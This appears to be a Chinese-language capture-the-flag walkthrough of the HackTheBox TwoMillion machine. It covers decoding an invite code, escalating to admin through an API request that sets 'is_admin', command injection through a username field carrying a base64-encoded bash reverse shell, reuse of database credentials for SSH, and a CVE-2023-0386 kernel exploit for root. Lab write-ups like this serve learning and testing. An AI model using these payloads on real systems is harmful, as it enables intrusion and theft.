
USER
nmap -T4 -v -A -Pn 10.10.11.221 -oN twomillion.txt


join 这里提示了让破解邀请过程,点击 join htb

这是旧 HTB 的邀请码界面,网上有直接的教程
重要的是这个,我们找一下在哪里出现的
$.post(‘https://www.hackthebox.eu/api/invite/generate’,function(data){console.log(data)})
view-source:查看一下网页源码

加载了一个 http://2million.htb/js/inviteapi.min.js 这个 js 脚本
网页会向/api/v1/invite/verify 提交 post 请求来验证
先看一下/inviteapi.min.js
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
这是混淆之后的 js,解密一下
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function (response) {
console.log(response)
},
error: function (response) {
console.log(response)
}
})
}
除了我们刚刚看到的,还发现一个 /api/v1/invite/how/to/generate
请求一下(jq 用来将输出格式化)
curl -X POST http://2million.htb/api/v1/invite/how/to/generate | jq

这里提示了提示了 data 的加密方式是 rot13,我们解密 data 后发现

说要想获得邀请码,向 /api/v1/invite/generate 发送 POST 请求的信息
curl -X POST http://2million.htb/api/v1/invite/generate | jq

code 看着应该是 base64 加密之后的信息,解密一下获得 U6QOF-PVUE8-YN7JM-ID5Y1

输入后跳转开始注册

随便注册一个之后登录进去,很多功能都没有

access 连接,也就是下载 vpn 文件的功能还是可以用的

使用 burp 抓包查看,请求了/api/v1/user/vpn/generate
尝试修改路径为 /api/v1 ,可以看到暴露了很多 api 接口,已经注释了不同的功能

特别是下面有一些 admin,也就是管理员接口
访问/api/v1/admin/auth 接口,可以发现我们并没有 admin 权限

访问/api/v1/admin/settings/update 来修改用户设置,但是提示类型不对

当我们添加后又提示缺少邮箱、用户名等、最后构造数据包如下
PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://2million.htb/home/access
Content-Type: application/json
Cookie: PHPSESSID=7ur00smfnvpn1ja4ec5ndbu8fd
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 43
{
"email":"[email protected]",
"is_admin":1
}

重新检查,我们已经成为了 admin

然后请求/api/v1/admin/vpn/generate 获取 admin 的 vpn 文件,这里也要跟着提示一步步构造

这里有一种情况就是后端是根据输入的 username 通过脚本执行命令来构造 vpn 文件,那么这里 username 就有命令注入的可能
{
"username":"test;id;"
}
成功执行 id 命令

那么我们就可以后面跟上反弹 shell 的命令,直接运行还是不行,编码一下
{
"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41Mi81NTY2IDA+JjE= | base64 -d | bash;"
}

成功反弹 shell
在当前目录下,有一个.env 的隐藏文件,查看一下

DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
这个账号密码成功 ssh 登录

可以查看到 user.txt 了
ROOT
仔细一点可以看见 ssh 登录的提示,有一封右键

查看一下

根据邮件可以知道,看来本机应该是有内核漏洞,根据提示的OverlayFS / FUSE
我们可以找到CVE-2023-0386
#上传exp
scp ./CVE-2023-0386-main.zip [email protected]:/home/admin
#编译
make all
#启动两个终端,在第一个终端中输入
./fuse ./ovlcap/lower ./gc
#在第二个终端输入
./exp


到/root 目录就可以拿到 root.txt
这里还有个小彩蛋,/root 目录下还有个thank_you.json

url 解码一次,然后根据提示 hex 解码一次

最后 base64 和 xor 解码,就可以看到 htb 200 万用户的一封感谢信~


Comments | NOTHING